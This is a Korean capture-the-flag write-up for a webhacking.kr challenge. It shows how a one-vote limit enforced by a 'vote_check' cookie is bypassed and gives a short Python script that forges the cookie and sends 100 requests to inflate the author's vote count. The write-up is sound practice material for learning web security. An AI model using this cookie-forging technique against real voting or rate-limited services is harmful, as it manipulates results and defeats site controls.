처음 접속하게 되면 여러 사람들의 닉네임과 Hit값을 확인할 수 있는데, crl+f로 검색해보면 본인의 닉네임 또한 존재하는 사실을 알 수 있다.

스크린샷 2025-05-23 131149.png

이에 한번만 투표가 가능하고 그 이후에는 다음과 같은 alert가 뜨는 것을 알 수 있는데,

스크린샷 2025-05-23 131157.png

F12를 통해 쿠키값을 확인해보면 vote_check가 ok로 돼있는 사실을 알 수 있고, 이를 삭제하면 다시 투표가 가능하다는 사실을 알 수 있다. 따라서 문제 해결을 위한 프로세스는 나의 닉네임의 Hit값을 100을 만들면 된다는 추측을 할 수 있다.

스크린샷 2025-05-23 131355.png

물론 100번씩 쿠키를 삭제하고 클릭하는 방식으로 문제를 해결할 수 있겠지만, 조금 더 합리적인 방식으로 파이썬 코드를 작성해 실행해보았다.

import requests

for i in range(0,100,1):
    url = '<https://webhacking.kr/challenge/code-5/?hit=eunhokim98>'
    cookie = {'PHPSESSID':'rm6pvn7m3qkir95tqohq9nd1e3','vote_check' : '0'}
    requests.get(url, cookies=cookie)
    print(i)

이를 실행시키면 문제를 해결할 수 있다.